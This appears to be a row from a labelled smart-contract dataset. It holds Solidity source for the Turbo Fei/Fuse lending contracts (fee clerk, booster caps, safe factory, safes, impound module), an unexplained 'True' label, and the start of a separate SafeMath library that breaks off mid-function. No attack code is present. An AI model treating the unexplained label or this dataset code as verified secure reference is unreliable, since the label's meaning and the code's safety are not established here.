emit CustomFeePercentageUpdatedForSafe(msg.sender, safe, newFeePercentage);
}
/*///////////////////////////////////////////////////////////////
ACCOUNTING LOGIC
//////////////////////////////////////////////////////////////*/
/// @notice Returns the fee on interest taken by the protocol for a Safe.
/// @param safe The Safe to get the fee percentage for.
/// @param collateral The collateral/asset of the Safe.
/// @return The fee percentage for the Safe.
function getFeePercentageForSafe(TurboSafe safe, ERC20 collateral) external view returns (uint256) {
// Get the custom fee percentage for the Safe.
uint256 customFeePercentageForSafe = getCustomFeePercentageForSafe[safe];
// If a custom fee percentage is set for the Safe, return it.
if (customFeePercentageForSafe != 0) return customFeePercentageForSafe;
// Get the custom fee percentage for the collateral type.
uint256 customFeePercentageForCollateral = getCustomFeePercentageForCollateral[collateral];
// If a custom fee percentage is set for the collateral, return it.
if (customFeePercentageForCollateral != 0) return customFeePercentageForCollateral;
// Otherwise, return the default fee percentage.
return defaultFeePercentage;
}
}
/// @title Turbo Booster
/// @author Transmissions11
/// @notice Boost authorization module.
contract TurboBooster is Auth, ENSReverseRecordAuth {
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
/// @notice Creates a new Turbo Booster contract.
/// @param _owner The owner of the Booster.
/// @param _authority The Authority of the Booster.
constructor(address _owner, Authority _authority) Auth(_owner, _authority) {}
/*///////////////////////////////////////////////////////////////
GLOBAL FREEZE CONFIGURATION
//////////////////////////////////////////////////////////////*/
/// @notice Whether boosting is currently frozen.
bool public frozen;
/// @notice Emitted when boosting is frozen or unfrozen.
/// @param user The user who froze or unfroze boosting.
/// @param frozen Whether boosting is now frozen.
event FreezeStatusUpdated(address indexed user, bool frozen);
/// @notice Sets whether boosting is frozen.
/// @param freeze Whether boosting will be frozen.
function setFreezeStatus(bool freeze) external requiresAuth {
// Update freeze status.
frozen = freeze;
emit FreezeStatusUpdated(msg.sender, freeze);
}
/*///////////////////////////////////////////////////////////////
VAULT BOOST CAP CONFIGURATION
//////////////////////////////////////////////////////////////*/
ERC4626[] public boostableVaults;
/// @notice exposes an array of boostable vaults. Only used for visibility.
function getBoostableVaults() external view returns(ERC4626[] memory) {
return boostableVaults;
}
/// @notice Maps Vaults to the cap on the amount of Fei used to boost them.
mapping(ERC4626 => uint256) public getBoostCapForVault;
/// @notice Emitted when a Vault's boost cap is updated.
/// @param vault The Vault who's boost cap was updated.
/// @param newBoostCap The new boost cap for the Vault.
event BoostCapUpdatedForVault(address indexed user, ERC4626 indexed vault, uint256 newBoostCap);
/// @notice Sets a Vault's boost cap.
/// @param vault The Vault to set the boost cap for.
/// @param newBoostCap The new boost cap for the Vault.
function setBoostCapForVault(ERC4626 vault, uint256 newBoostCap) external requiresAuth {
require(newBoostCap != 0, "cap is zero");
// Add to boostable vaults array
if (getBoostCapForVault[vault] == 0) {
boostableVaults.push(vault);
}
// Update the boost cap for the Vault.
getBoostCapForVault[vault] = newBoostCap;
emit BoostCapUpdatedForVault(msg.sender, vault, newBoostCap);
}
/*///////////////////////////////////////////////////////////////
COLLATERAL BOOST CAP CONFIGURATION
//////////////////////////////////////////////////////////////*/
/// @notice Maps collateral types to the cap on the amount of Fei boosted against them.
mapping(ERC20 => uint256) public getBoostCapForCollateral;
/// @notice Emitted when a collateral type's boost cap is updated.
/// @param collateral The collateral type who's boost cap was updated.
/// @param newBoostCap The new boost cap for the collateral type.
event BoostCapUpdatedForCollateral(address indexed user, ERC20 indexed collateral, uint256 newBoostCap);
/// @notice Sets a collateral type's boost cap.
/// @param collateral The collateral type to set the boost cap for.
/// @param newBoostCap The new boost cap for the collateral type.
function setBoostCapForCollateral(ERC20 collateral, uint256 newBoostCap) external requiresAuth {
// Update the boost cap for the collateral type.
getBoostCapForCollateral[collateral] = newBoostCap;
emit BoostCapUpdatedForCollateral(msg.sender, collateral, newBoostCap);
}
/*///////////////////////////////////////////////////////////////
AUTHORIZATION LOGIC
//////////////////////////////////////////////////////////////*/
/// @notice Returns whether a Safe is authorized to boost a Vault.
/// @param safe The Safe to check is authorized to boost the Vault.
/// @param collateral The collateral/asset of the Safe.
/// @param vault The Vault to check the Safe is authorized to boost.
/// @param feiAmount The amount of Fei asset to check the Safe is authorized boost the Vault with.
/// @param newTotalBoostedForVault The total amount of Fei that will boosted to the Vault after boost (if it is not rejected).
/// @param newTotalBoostedAgainstCollateral The total amount of Fei that will be boosted against the Safe's collateral type after this boost.
/// @return Whether the Safe is authorized to boost the Vault with the given amount of Fei asset.
function canSafeBoostVault(
TurboSafe safe,
ERC20 collateral,
ERC4626 vault,
uint256 feiAmount,
uint256 newTotalBoostedForVault,
uint256 newTotalBoostedAgainstCollateral
) external view returns (bool) {
return
!frozen &&
getBoostCapForVault[vault] >= newTotalBoostedForVault &&
getBoostCapForCollateral[collateral] >= newTotalBoostedAgainstCollateral;
}
}
/// @title Turbo Master
/// @author Transmissions11
/// @notice Factory for creating and managing Turbo Safes.
/// @dev Must be authorized to call the Turbo Fuse Pool's FuseAdmin.
contract TurboMaster is Auth, ENSReverseRecordAuth {
using SafeTransferLib for ERC20;
/*///////////////////////////////////////////////////////////////
IMMUTABLES
//////////////////////////////////////////////////////////////*/
/// @notice The Turbo Fuse Pool the Safes will interact with.
Comptroller public immutable pool;
/// @notice The Fei token on the network.
ERC20 public immutable fei;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
/// @notice Creates a new Turbo Master contract.
/// @param _pool The Turbo Fuse Pool the Master will use.
/// @param _fei The Fei token on the network.
/// @param _owner The owner of the Master.
/// @param _authority The Authority of the Master.
constructor(
Comptroller _pool,
ERC20 _fei,
address _owner,
Authority _authority
) Auth(_owner, _authority) {
pool = _pool;
fei = _fei;
// Prevent the first safe from getting id 0.
safes.push(TurboSafe(address(0)));
}
/*///////////////////////////////////////////////////////////////
BOOSTER STORAGE
//////////////////////////////////////////////////////////////*/
/// @notice The Booster module used by the Master and its Safes.
TurboBooster public booster;
/// @notice Emitted when the Booster is updated.
/// @param user The user who triggered the update of the Booster.
/// @param newBooster The new Booster contract used by the Master.
event BoosterUpdated(address indexed user, TurboBooster newBooster);
/// @notice Update the Booster used by the Master.
/// @param newBooster The new Booster contract to be used by the Master.
function setBooster(TurboBooster newBooster) external requiresAuth {
booster = newBooster;
emit BoosterUpdated(msg.sender, newBooster);
}
/*///////////////////////////////////////////////////////////////
CLERK STORAGE
//////////////////////////////////////////////////////////////*/
/// @notice The Clerk module used by the Master and its Safes.
TurboClerk public clerk;
/// @notice Emitted when the Clerk is updated.
/// @param user The user who triggered the update of the Clerk.
/// @param newClerk The new Clerk contract used by the Master.
event ClerkUpdated(address indexed user, TurboClerk newClerk);
/// @notice Update the Clerk used by the Master.
/// @param newClerk The new Clerk contract to be used by the Master.
function setClerk(TurboClerk newClerk) external requiresAuth {
clerk = newClerk;
emit ClerkUpdated(msg.sender, newClerk);
}
/*///////////////////////////////////////////////////////////////
DEFAULT SAFE AUTHORITY CONFIGURATION
//////////////////////////////////////////////////////////////*/
/// @notice The default authority to be used by created Safes.
Authority public defaultSafeAuthority;
/// @notice Emitted when the default safe authority is updated.
/// @param user The user who triggered the update of the default safe authority.
/// @param newDefaultSafeAuthority The new default authority to be used by created Safes.
event DefaultSafeAuthorityUpdated(address indexed user, Authority newDefaultSafeAuthority);
/// @notice Set the default authority to be used by created Safes.
/// @param newDefaultSafeAuthority The new default safe authority.
function setDefaultSafeAuthority(Authority newDefaultSafeAuthority) external requiresAuth {
// Update the default safe authority.
defaultSafeAuthority = newDefaultSafeAuthority;
emit DefaultSafeAuthorityUpdated(msg.sender, newDefaultSafeAuthority);
}
/*///////////////////////////////////////////////////////////////
SAFE STORAGE
//////////////////////////////////////////////////////////////*/
/// @notice The total Fei currently boosting Vaults.
uint256 public totalBoosted;
/// @notice Maps Safe addresses to the id they are stored under in the Safes array.
mapping(TurboSafe => uint256) public getSafeId;
/// @notice Maps Vault addresses to the total amount of Fei they've being boosted with.
mapping(ERC4626 => uint256) public getTotalBoostedForVault;
/// @notice Maps collateral types to the total amount of Fei boosted by Safes using it as collateral.
mapping(ERC20 => uint256) public getTotalBoostedAgainstCollateral;
/// @notice An array of all Safes created by the Master.
/// @dev The first Safe is purposely invalid to prevent any Safes from having an id of 0.
TurboSafe[] public safes;
/// @notice Returns all Safes created by the Master.
/// @return An array of all Safes created by the Master.
/// @dev This is provided because Solidity converts public arrays into index getters,
/// but we need a way to allow external contracts and users to access the whole array.
function getAllSafes() external view returns (TurboSafe[] memory) {
return safes;
}
/*///////////////////////////////////////////////////////////////
SAFE CREATION LOGIC
//////////////////////////////////////////////////////////////*/
/// @notice Emitted when a new Safe is created.
/// @param user The user who created the Safe.
/// @param asset The asset of the Safe.
/// @param safe The newly deployed Safe contract.
/// @param id The index of the Safe in the safes array.
event TurboSafeCreated(address indexed user, ERC20 indexed asset, TurboSafe safe, uint256 id);
/// @notice Creates a new Turbo Safe which supports a specific asset.
/// @param asset The ERC20 token that the Safe should accept.
/// @return safe The newly deployed Turbo Safe which accepts the provided asset.
function createSafe(ERC20 asset) external requiresAuth returns (TurboSafe safe, uint256 id) {
// Create a new Safe using the default authority and provided asset.
safe = new TurboSafe(msg.sender, defaultSafeAuthority, asset);
// Add the safe to the list of Safes.
safes.push(safe);
unchecked {
// Get the index/id of the new Safe.
// Cannot underflow, we just pushed to it.
id = safes.length - 1;
}
// Store the id/index of the new Safe.
getSafeId[safe] = id;
emit TurboSafeCreated(msg.sender, asset, safe, id);
// Prepare a users array to whitelist the Safe.
address[] memory users = new address[](1);
users[0] = address(safe);
// Prepare an enabled array to whitelist the Safe.
bool[] memory enabled = new bool[](1);
enabled[0] = true;
// Whitelist the Safe to access the Turbo Fuse Pool.
FuseAdmin(pool.admin())._setWhitelistStatuses(users, enabled);
}
/*///////////////////////////////////////////////////////////////
SAFE CALLBACK LOGIC
//////////////////////////////////////////////////////////////*/
/// @notice Callback triggered whenever a Safe boosts a Vault.
/// @param asset The asset of the Safe.
/// @param vault The Vault that was boosted.
/// @param feiAmount The amount of Fei used to boost the Vault.
function onSafeBoost(
ERC20 asset,
ERC4626 vault,
uint256 feiAmount
) external {
// Get the caller as a Safe instance.
TurboSafe safe = TurboSafe(msg.sender);
// Ensure the Safe was created by this Master.
require(getSafeId[safe] != 0, "INVALID_SAFE");
// Update the total amount of Fei being using to boost Vaults.
totalBoosted += feiAmount;
// Cache the new total boosted for the Vault.
uint256 newTotalBoostedForVault;
// Cache the new total boosted against the Vault's collateral.
uint256 newTotalBoostedAgainstCollateral;
// Update the total amount of Fei being using to boost the Vault.
getTotalBoostedForVault[vault] = (newTotalBoostedForVault = getTotalBoostedForVault[vault] + feiAmount);
// Update the total amount of Fei boosted against the collateral type.
getTotalBoostedAgainstCollateral[asset] = (newTotalBoostedAgainstCollateral =
getTotalBoostedAgainstCollateral[asset] +
feiAmount);
// Check with the booster that the Safe is allowed to boost the Vault using this amount of Fei.
require(
booster.canSafeBoostVault(
safe,
asset,
vault,
feiAmount,
newTotalBoostedForVault,
newTotalBoostedAgainstCollateral
),
"BOOSTER_REJECTED"
);
}
/// @notice Callback triggered whenever a Safe withdraws from a Vault.
/// @param asset The asset of the Safe.
/// @param vault The Vault that was withdrawn from.
/// @param feiAmount The amount of Fei withdrawn from the Vault.
function onSafeLess(
ERC20 asset,
ERC4626 vault,
uint256 feiAmount
) external {
// Get the caller as a Safe instance.
TurboSafe safe = TurboSafe(msg.sender);
// Ensure the Safe was created by this Master.
require(getSafeId[safe] != 0, "INVALID_SAFE");
// Update the total amount of Fei being using to boost the Vault.
getTotalBoostedForVault[vault] -= feiAmount;
// Update the total amount of Fei being using to boost Vaults.
totalBoosted -= feiAmount;
// Update the total amount of Fei boosted against the collateral type.
getTotalBoostedAgainstCollateral[asset] -= feiAmount;
}
/*///////////////////////////////////////////////////////////////
SWEEP LOGIC
//////////////////////////////////////////////////////////////*/
/// @notice Emitted a token is sweeped from the Master.
/// @param user The user who sweeped the token from the Master.
/// @param to The recipient of the sweeped tokens.
/// @param amount The amount of the token that was sweeped.
event TokenSweeped(address indexed user, address indexed to, ERC20 indexed token, uint256 amount);
/// @notice Claim tokens sitting idly in the Master.
/// @param to The recipient of the sweeped tokens.
/// @param token The token to sweep and send.
/// @param amount The amount of the token to sweep.
function sweep(
address to,
ERC20 token,
uint256 amount
) external requiresAuth {
emit TokenSweeped(msg.sender, to, token, amount);
// Transfer the sweeped tokens to the recipient.
token.safeTransfer(to, amount);
}
}
/// @title Turbo Safe
/// @author Transmissions11
/// @notice Fuse liquidity accelerator.
contract TurboSafe is Auth, ERC4626, ReentrancyGuard {
using SafeTransferLib for ERC20;
using FixedPointMathLib for uint256;
/*///////////////////////////////////////////////////////////////
IMMUTABLES
//////////////////////////////////////////////////////////////*/
/// @notice The Master contract that created the Safe.
/// @dev Fees are paid directly to the Master, where they can be swept.
TurboMaster public immutable master;
/// @notice The Fei token on the network.
ERC20 public immutable fei;
/// @notice The Turbo Fuse Pool contract that collateral is held in and Fei is borrowed from.
Comptroller public immutable pool;
/// @notice The Fei cToken in the Turbo Fuse Pool that Fei is borrowed from.
CERC20 public immutable feiTurboCToken;
/// @notice The cToken that accepts the asset in the Turbo Fuse Pool.
CERC20 public immutable assetTurboCToken;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
/// @notice Creates a new Safe that accepts a specific asset.
/// @param _owner The owner of the Safe.
/// @param _authority The Authority of the Safe.
/// @param _asset The ERC20 compliant token the Safe should accept.
constructor(
address _owner,
Authority _authority,
ERC20 _asset
)
Auth(_owner, _authority)
ERC4626(
_asset,
// ex: Dai Stablecoin Turbo Safe
string(abi.encodePacked(_asset.name(), " Turbo Safe")),
// ex: tsDAI
string(abi.encodePacked("ts", _asset.symbol()))
)
{
master = TurboMaster(msg.sender);
fei = master.fei();
// An asset of Fei makes no sense.
require(asset != fei, "INVALID_ASSET");
pool = master.pool();
feiTurboCToken = pool.cTokensByUnderlying(fei);
assetTurboCToken = pool.cTokensByUnderlying(asset);
// If the provided asset is not supported by the Turbo Fuse Pool, revert.
require(address(assetTurboCToken) != address(0), "UNSUPPORTED_ASSET");
// Construct an array of market(s) to enable as collateral.
CERC20[] memory marketsToEnter = new CERC20[](1);
marketsToEnter[0] = assetTurboCToken;
// Enter the market(s) and ensure to properly revert if there is an error.
require(pool.enterMarkets(marketsToEnter)[0] == 0, "ENTER_MARKETS_FAILED");
// Preemptively approve the asset to the Turbo Fuse Pool's corresponding cToken.
asset.safeApprove(address(assetTurboCToken), type(uint256).max);
// Preemptively approve Fei to the Turbo Fuse Pool's Fei cToken.
fei.safeApprove(address(feiTurboCToken), type(uint256).max);
}
/*///////////////////////////////////////////////////////////////
SAFE STORAGE
//////////////////////////////////////////////////////////////*/
/// @notice The current total amount of Fei the Safe is using to boost Vaults.
uint256 public totalFeiBoosted;
/// @notice Maps Vaults to the total amount of Fei they've being boosted with.
/// @dev Used to determine the fees to be paid back to the Master.
mapping(ERC4626 => uint256) public getTotalFeiBoostedForVault;
/*///////////////////////////////////////////////////////////////
MODIFIERS
//////////////////////////////////////////////////////////////*/
/// @dev Checks the caller is authorized using either the Master's Authority or the Safe's local Authority.
modifier requiresLocalOrMasterAuth() {
// Check if the caller is the owner first:
if (msg.sender != owner) {
Authority masterAuth = master.authority(); // Avoid wasting gas calling the Master twice.
// If the Master's Authority does not exist or does not accept upfront:
if (address(masterAuth) == address(0) || !masterAuth.canCall(msg.sender, address(this), msg.sig)) {
Authority auth = authority; // Memoizing saves us a warm SLOAD, around 100 gas.
// The only authorization option left is via the local Authority, otherwise revert.
require(
address(auth) != address(0) && auth.canCall(msg.sender, address(this), msg.sig),
"UNAUTHORIZED"
);
}
}
_;
}
/// @dev Checks the caller is authorized using the Master's Authority.
modifier requiresMasterAuth() {
Authority masterAuth = master.authority(); // Avoid wasting gas calling the Master twice.
// Revert if the Master's Authority does not approve of the call and the caller is not the Master's owner.
require(
(address(masterAuth) != address(0) && masterAuth.canCall(msg.sender, address(this), msg.sig)) ||
msg.sender == master.owner(),
"UNAUTHORIZED"
);
_;
}
/*///////////////////////////////////////////////////////////////
ERC4626 LOGIC
//////////////////////////////////////////////////////////////*/
/// @notice Called after any type of deposit occurs.
/// @param assetAmount The amount of assets being deposited.
/// @dev Using requiresAuth here prevents unauthorized users from depositing.
function afterDeposit(uint256 assetAmount, uint256) internal override nonReentrant requiresAuth {
// Collateralize the assets in the Turbo Fuse Pool.
require(assetTurboCToken.mint(assetAmount) == 0, "MINT_FAILED");
}
/// @notice Called before any type of withdrawal occurs.
/// @param assetAmount The amount of assets being withdrawn.
/// @dev Using requiresAuth here prevents unauthorized users from withdrawing.
function beforeWithdraw(uint256 assetAmount, uint256) internal override nonReentrant requiresAuth {
// Withdraw the assets from the Turbo Fuse Pool.
require(assetTurboCToken.redeemUnderlying(assetAmount) == 0, "REDEEM_FAILED");
}
/// @notice Returns the total amount of assets held in the Safe.
/// @return The total amount of assets held in the Safe.
function totalAssets() public view override returns (uint256) {
return assetTurboCToken.balanceOf(address(this)).mulWadDown(assetTurboCToken.exchangeRateStored());
}
/*///////////////////////////////////////////////////////////////
BOOST/LESS LOGIC
//////////////////////////////////////////////////////////////*/
/// @notice Emitted when a Vault is boosted by the Safe.
/// @param user The user who boosted the Vault.
/// @param vault The Vault that was boosted.
/// @param feiAmount The amount of Fei that was boosted to the Vault.
event VaultBoosted(address indexed user, ERC4626 indexed vault, uint256 feiAmount);
/// @notice Borrow Fei from the Turbo Fuse Pool and deposit it into an authorized Vault.
/// @param vault The Vault to deposit the borrowed Fei into.
/// @param feiAmount The amount of Fei to borrow and supply into the Vault.
function boost(ERC4626 vault, uint256 feiAmount) external nonReentrant requiresAuth {
// Ensure the Vault accepts Fei asset.
require(vault.asset() == fei, "NOT_FEI");
// Call the Master where it will do extra validation
// and update it's total count of funds used for boosting.
master.onSafeBoost(asset, vault, feiAmount);
// Increase the boost total proportionately.
totalFeiBoosted += feiAmount;
// Update the total Fei deposited into the Vault proportionately.
getTotalFeiBoostedForVault[vault] += feiAmount;
emit VaultBoosted(msg.sender, vault, feiAmount);
// Borrow the Fei amount from the Fei cToken in the Turbo Fuse Pool.
require(feiTurboCToken.borrow(feiAmount) == 0, "BORROW_FAILED");
// Approve the borrowed Fei to the specified Vault.
fei.safeApprove(address(vault), feiAmount);
// Deposit the Fei into the specified Vault.
vault.deposit(feiAmount, address(this));
}
/// @notice Emitted when a Vault is withdrawn from by the Safe.
/// @param user The user who lessed the Vault.
/// @param vault The Vault that was withdrawn from.
/// @param feiAmount The amount of Fei that was withdrawn from the Vault.
event VaultLessened(address indexed user, ERC4626 indexed vault, uint256 feiAmount);
/// @notice Withdraw Fei from a deposited Vault and use it to repay debt in the Turbo Fuse Pool.
/// @param vault The Vault to withdraw the Fei from.
/// @param feiAmount The amount of Fei to withdraw from the Vault and repay in the Turbo Fuse Pool.
function less(ERC4626 vault, uint256 feiAmount) external nonReentrant requiresLocalOrMasterAuth {
// Update the total Fei deposited into the Vault proportionately.
getTotalFeiBoostedForVault[vault] -= feiAmount;
// Decrease the boost total proportionately.
totalFeiBoosted -= feiAmount;
emit VaultLessened(msg.sender, vault, feiAmount);
// Withdraw the specified amount of Fei from the Vault.
vault.withdraw(feiAmount, address(this), address(this));
// Get out current amount of Fei debt in the Turbo Fuse Pool.
uint256 feiDebt = feiTurboCToken.borrowBalanceCurrent(address(this));
// Call the Master to allow it to update its accounting.
master.onSafeLess(asset, vault, feiAmount);
// If our debt balance decreased, repay the minimum.
// The surplus Fei will accrue as fees and can be sweeped.
if (feiAmount > feiDebt) feiAmount = feiDebt;
// Repay Fei debt in the Turbo Fuse Pool, unless we would repay nothing.
if (feiAmount != 0) require(feiTurboCToken.repayBorrow(feiAmount) == 0, "REPAY_FAILED");
}
/*///////////////////////////////////////////////////////////////
SLURP LOGIC
//////////////////////////////////////////////////////////////*/
/// @notice Emitted when a Vault is slurped from by the Safe.
/// @param user The user who slurped the Vault.
/// @param vault The Vault that was slurped.
/// @param protocolFeeAmount The amount of Fei accrued as fees to the Master.
/// @param safeInterestAmount The amount of Fei accrued as interest to the Safe.
event VaultSlurped(
address indexed user,
ERC4626 indexed vault,
uint256 protocolFeeAmount,
uint256 safeInterestAmount
);
/// @notice Accrue any interest earned by the Safe in the Vault.
/// @param vault The Vault to accrue interest from, if any.
/// @dev Sends a portion of the interest to the Master, as determined by the Clerk.
function slurp(ERC4626 vault) external nonReentrant requiresLocalOrMasterAuth returns(uint256 safeInterestAmount) {
// Cache the total Fei currently boosting the Vault.
uint256 totalFeiBoostedForVault = getTotalFeiBoostedForVault[vault];
// Ensure the Safe has Fei currently boosting the Vault.
require(totalFeiBoostedForVault != 0, "NO_FEI_BOOSTED");
// Compute the amount of Fei interest the Safe generated by boosting the Vault.
uint256 interestEarned = vault.previewRedeem(vault.balanceOf(address(this))) - totalFeiBoostedForVault;
// Compute what percentage of the interest earned will go back to the Safe.
uint256 protocolFeePercent = master.clerk().getFeePercentageForSafe(this, asset);
// Compute the amount of Fei the protocol will retain as fees.
uint256 protocolFeeAmount = interestEarned.mulWadDown(protocolFeePercent);
// Compute the amount of Fei the Safe will retain as interest.
safeInterestAmount = interestEarned - protocolFeeAmount;
emit VaultSlurped(msg.sender, vault, protocolFeeAmount, safeInterestAmount);
vault.withdraw(interestEarned, address(this), address(this));
// If we have unaccrued fees, withdraw them from the Vault and transfer them to the Master.
if (protocolFeeAmount != 0) fei.transfer(address(master), protocolFeeAmount);
}
/*///////////////////////////////////////////////////////////////
SWEEP LOGIC
//////////////////////////////////////////////////////////////*/
/// @notice Emitted a token is sweeped from the Safe.
/// @param user The user who sweeped the token from the Safe.
/// @param to The recipient of the sweeped tokens.
/// @param amount The amount of the token that was sweeped.
event TokenSweeped(address indexed user, address indexed to, ERC20 indexed token, uint256 amount);
/// @notice Claim tokens sitting idly in the Safe.
/// @param to The recipient of the sweeped tokens.
/// @param token The token to sweep and send.
/// @param amount The amount of the token to sweep.
function sweep(
address to,
ERC20 token,
uint256 amount
) external requiresAuth {
// Ensure the caller is not trying to steal Vault shares or collateral cTokens.
require(getTotalFeiBoostedForVault[ERC4626(address(token))] == 0 && token != assetTurboCToken, "INVALID_TOKEN");
emit TokenSweeped(msg.sender, to, token, amount);
// Transfer the sweeped tokens to the recipient.
token.safeTransfer(to, amount);
}
/*///////////////////////////////////////////////////////////////
GIB LOGIC
//////////////////////////////////////////////////////////////*/
/// @notice Emitted when a Safe is gibbed.
/// @param user The user who gibbed the Safe.
/// @param to The recipient of the impounded collateral.
/// @param assetAmount The amount of underling tokens impounded.
event SafeGibbed(address indexed user, address indexed to, uint256 assetAmount);
/// @notice Impound a specific amount of a Safe's collateral.
/// @param to The address to send the impounded collateral to.
/// @param assetAmount The amount of the asset to impound.
/// @dev Debt must be repaid in advance, or the redemption will fail.
function gib(address to, uint256 assetAmount) external nonReentrant requiresMasterAuth {
emit SafeGibbed(msg.sender, to, assetAmount);
// Withdraw the specified amount of assets from the Turbo Fuse Pool.
require(assetTurboCToken.redeemUnderlying(assetAmount) == 0, "REDEEM_FAILED");
// Transfer the assets to the authorized caller.
asset.safeTransfer(to, assetAmount);
}
}
/// @title Turbo Gibber
/// @author Transmissions11
/// @notice Atomic impounder module.
contract TurboGibber is Auth, ReentrancyGuard, ENSReverseRecordAuth {
using SafeTransferLib for Fei;
/*///////////////////////////////////////////////////////////////
IMMUTABLES
//////////////////////////////////////////////////////////////*/
/// @notice The Master contract.
/// @dev Used to validate Safes are legitimate.
TurboMaster public immutable master;
/// @notice The Fei token on the network.
Fei public immutable fei;
/// @notice The Fei cToken in the Turbo Fuse Pool.
CERC20 public immutable feiTurboCToken;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
/// @notice Creates a new Turbo Gibber contract.
/// @param _master The Master of the Gibber.
/// @param _owner The owner of the Gibber.
/// @param _authority The Authority of the Gibber.
constructor(
TurboMaster _master,
address _owner,
Authority _authority
) Auth(_owner, _authority) {
master = _master;
fei = Fei(address(master.fei()));
feiTurboCToken = master.pool().cTokensByUnderlying(fei);
// Preemptively approve to the Fei cToken in the Turbo Fuse Pool.
fei.safeApprove(address(feiTurboCToken), type(uint256).max);
}
/*///////////////////////////////////////////////////////////////
ATOMIC IMPOUND LOGIC
//////////////////////////////////////////////////////////////*/
/// @notice Emitted an impound is executed.
/// @param user The user who executed the impound.
/// @param safe The Safe that was impounded.
/// @param feiAmount The amount of Fei that was repaid.
/// @param assetAmount The amount of assets impounded.
event ImpoundExecuted(address indexed user, TurboSafe indexed safe, uint256 feiAmount, uint256 assetAmount);
/// @notice Impound a safe.
/// @param safe The Safe to be impounded.
/// @param feiAmount The amount of Fei to repay the Safe's debt with.
/// @param assetAmount The amount of assets to impound.
/// @param to The recipient of the impounded collateral tokens.
function impound(
TurboSafe safe,
uint256 feiAmount,
uint256 assetAmount,
address to
) external requiresAuth nonReentrant {
// Ensure the Safe is registered with the Master.
require(master.getSafeId(safe) != 0);
emit ImpoundExecuted(msg.sender, safe, feiAmount, assetAmount);
// Mint the Fei amount requested.
fei.mint(address(this), feiAmount);
// Repay the safe's Fei debt with the minted Fei, ensuring to catch cToken errors.
require(feiTurboCToken.repayBorrowBehalf(address(safe), feiAmount) == 0, "REPAY_FAILED");
// Impound some of the safe's collateral and send it to the chosen recipient.
safe.gib(to, assetAmount);
}
/// @notice Impound all of a safe's collateral.
/// @param safe The Safe to be impounded.
/// @param to The recipient of the impounded collateral tokens.
function impoundAll(TurboSafe safe, address to) external requiresAuth nonReentrant {
// Ensure the Safe is registered with the Master.
require(master.getSafeId(safe) != 0);
// Get the asset cToken in the Turbo Fuse Pool.
CERC20 assetTurboCToken = safe.assetTurboCToken();
// Get the amount of assets to impound from the Safe.
uint256 assetAmount = assetTurboCToken.balanceOfUnderlying(address(safe));
// Get the amount of Fei debt to repay for the Safe.
uint256 feiAmount = feiTurboCToken.borrowBalanceCurrent(address(safe));
emit ImpoundExecuted(msg.sender, safe, feiAmount, assetAmount);
// Mint the Fei amount requested.
fei.mint(address(this), feiAmount);
// Repay the safe's Fei debt with the minted Fei, ensuring to catch cToken errors.
require(feiTurboCToken.repayBorrowBehalf(address(safe), feiAmount) == 0, "REPAY_FAILED");
// Impound all of the safe's collateral and send it to the chosen recipient.
safe.gib(to, assetAmount);
}
} | True | [
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pragma solidity 0.6.6;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library SignedSafeMath {
int256 constant private _INT256_MIN = -2**255;
/**
* @dev Multiplies two signed integers, reverts on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
/**
* @dev Integer division of two signed integers truncating the quotient, reverts on division by zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow");
